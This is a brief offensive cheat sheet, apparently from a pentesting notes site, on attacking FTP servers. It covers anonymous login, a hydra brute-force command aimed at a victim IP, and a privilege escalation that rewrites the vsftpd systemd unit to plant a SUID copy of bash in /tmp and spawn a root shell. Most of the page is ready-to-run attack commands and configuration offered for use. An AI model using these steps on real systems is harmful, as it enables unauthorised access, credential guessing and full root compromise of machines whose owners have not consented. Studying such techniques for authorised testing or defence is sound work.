FTP

Anonymous Login

Some installations of FTP will allow anonymous logins.

ftp <victim_ip> 
anonymous:anonymous

Brute Force

If no max attempts or any similar system is in place, simply brute force it.

hydra -l admin -P wordlist.txt victim_ip -t 64 ftp

Privilege Escalation - VSFTPD

If you can edit the vsftpd service file. You can get a root shell

Modify the service file to run the following commands:

cp /bin/bash /tmp/root_shell
chmod +xs /tmp/root_shell

These commands copy the /bin/bash to /tmp/root_shell and set the SUID bit on it, which would allow us to execute the binary as the owner i.e. root

Edit the /lib/systemd/system/vsftpd.service file to contain the following code:

[Unit]
Description=vsftpd FTP server
After=network.target

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/root_shell; chmod +xs /tmp/root_shell'
#ExecReload=/bin/kill -HUP $MAINPID
#ExecStartPre=-/bin/mkdir -p /var/run/vsftpd/empty

[Install]
WantedBy=multi-user.target

Once the vsftpd.service file was modified, reload the daemon:

systemctl daemon-reload

This allowed us to run our modified service using

sudo /usr/sbin/service vsftpd restart

New file root_shell should now be available inside the /tmp directory

Use file to spawn a root shell.

/tmp/root_shell -p

Last updated